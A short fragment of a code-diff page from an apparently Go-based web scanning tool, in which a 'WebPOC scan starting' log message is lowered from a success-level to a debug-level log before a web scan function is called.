||||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||||
common.LogSuccess(fmt.Sprintf("WebPOC %s 开始扫描", target))
|
common.LogDebug(fmt.Sprintf("WebPOC %s 开始扫描", target))
|
||||||
|
|
||||||
// 直接执行Web扫描
|
// 直接执行Web扫描
|
||||||
WebScan.WebScan(info)
|
WebScan.WebScan(info)
|
||||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user